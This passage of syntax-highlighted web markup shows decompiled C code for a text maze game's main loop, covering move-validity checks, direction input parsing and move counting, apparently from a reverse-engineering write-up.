class=\"crayon-v\">user_input<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ rbx@10<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-60\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">signed<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">move_currently_checked<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ eax@21<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-61\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">signed<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">direction<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ er12@23<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-62\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span> <span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+Ch] [bp-64h]@1<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-63\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">position <\/span><span class=\"crayon-v\">valid_move_map<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+10h] [bp-60h]@2<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-64\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-t\">char<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+20h] [bp-50h]@8<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-65\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">size<\/span><span class=\"crayon-sy\">_<\/span>t <span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">;<\/span> <span class=\"crayon-c\">\/\/ [sp+30h] [bp-40h]@19<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-66\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-67\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">setbuf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-68\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">setbuf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-69\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">current_position<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">y<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-70\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">current_position<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-71\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">puts<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;You wake up and have a big headache.&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-72\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">num_moves<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-73\" class=\"crayon-line\"><span class=\"crayon-v\">main_loop<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-74\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">_current_position<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">current_position<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-75\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">adjacent_position<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">valid_move_map<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-76\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">valid_moves<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-77\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">LODWORD<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-78\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">check_valid_moves_loop<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-79\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-cn\">2<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-80\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-81\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">adjacent_position<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">_current_position<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-82\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">adjacent_position<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">x<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-83\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">adjacent_position<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-84\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">map_iterator<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">maze_map<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-85\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">do<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-86\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-87\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">adjacent_position<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">map<\/span><span class=\"crayon-sy\">_<\/span>iterator <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-88\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-89\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-90\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">_DWORD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-cn\">4<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-91\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">check_valid_moves_loop<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-92\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">check_valid_moves_loop_finished<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-93\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-94\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">map_iterator<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-95\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-96\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">map_iterator<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">maze_map<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_map<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">maze_map<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-97\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">move_currently_checked<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-o\">&lt;&lt;<\/span> <span class=\"crayon-v\">valid_moves_bitmap<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-98\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-99\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">valid_moves<\/span> <span class=\"crayon-o\">|=<\/span> <span class=\"crayon-v\">move_currently_checked<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-100\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">_DWORD<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">valid_moves_bitmap<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-cn\">4<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-101\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">continue<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-102\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-103\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-104\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">check_valid_moves_loop_finished<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-105\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">info_text_ptr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">info_text<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">unsigned<\/span> <span class=\"crayon-v\">__int64<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">valid_moves<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-106\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">can_go_west<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">valid_moves<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-107\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">can_go_north<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">valid_moves<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-108\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">can_go_east<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">valid_moves<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-109\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-v\">can_go_south<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">valid_moves<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-110\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;%s Where do you want to go (today)? &#8220;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">info_text_ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">valid_moves_bitmap<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-111\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-st\">while<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-cn\">1<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-112\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-113\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">s<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-114\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">n<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-115\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-e\">getline<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">n<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&lt;=<\/span> <span class=\"crayon-cn\">0<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-116\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-117\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">_s<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-118\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">s<\/span> <span class=\"crayon-o\">||<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-i\">s<\/span> <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-119\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-120\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">_s<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">strlen<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-121\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">user_input<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-122\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">west_str_ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-v\">can_go<\/span><span class=\"crayon-sy\">_<\/span>west <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-123\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-124\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">direction<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-125\" class=\"crayon-line\"><span class=\"crayon-v\">make_move<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-126\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">__printf_chk<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1LL<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-s\">&#8220;You go %s.\\n&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">user_input<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-127\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">free<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-128\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-129\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">current_position<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">valid_move_map<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">direction<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-130\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-v\">winning_position<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-v\">current<\/span><span class=\"crayon-sy\">_<\/span>position <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-131\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">goto<\/span> <span class=\"crayon-v\">main_loop<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-132\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">reached_goal<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">num_moves<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-133\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">return<\/span> <span class=\"crayon-cn\">0LL<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-134\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-135\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span> <span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">strcasecmp<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">north_str_ptr<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">user_input<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&amp;&amp;<\/span> <span class=\"crayon-v\">can_go<\/span><span class=\"crayon-sy\">_<\/span>north <span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b1ef243828304-136\" class=\"crayon-line 